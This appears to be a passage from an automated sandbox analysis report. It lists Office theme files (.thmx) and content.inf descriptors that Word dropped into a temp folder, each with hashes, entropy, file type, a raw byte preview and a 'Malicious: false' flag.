SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEF71.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... ...>..>..>..>..>..>..>......f..2V}....W>jO....5..].?.o..oPK...........G.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70.

C:\Users\user\AppData\Local\Temp\TCDEF71.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5301133500353727
Encrypted:	false
SSDEEP:	6:Q+sxnxUXp2pRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyZ2vymD0wbnKNAH/lMz1
MD5:	1C5D58A5ED3B40486BC22B254D17D1DD
SHA1:	69B8BB7B0112B37B9B5F9ADA83D11FBC99FEC80A
SHA-256:	EBE031C340F04BB0235FE62C5A675CF65C5CC8CE908F4621A4F5D7EE85F83055
SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEFF0.tmp\Circuit.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDEFF0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.5286004619027067
Encrypted:	false
SSDEEP:	6:Q+sxnxUXOzXkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6WymD0wbnKNAH/lMz1
MD5:	40FF521ED2BA1B015F17F0B0E5D95068
SHA1:	0F29C084311084B8FDFE67855884D8EB60BDE1A6
SHA-256:	CC3575BA195F0F271FFEBA6F6634BC9A2CF5F3BE448F58DBC002907D7C81CBBB
SHA-512:	9507E6145417AC730C284E58DC6B2063719400B395615C40D7885F78F57D55B251CB9C954D573CB8B6F073E4CEA82C0525AE90DEC68251C76A6F1B03FD9943C0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.u.i.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF040.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCDF040.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF19A.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDF19A.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF3ED.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDF3ED.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF4E9.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCDF4E9.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF902.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDF902.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF9C0.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCDF9C0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDFD9A.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
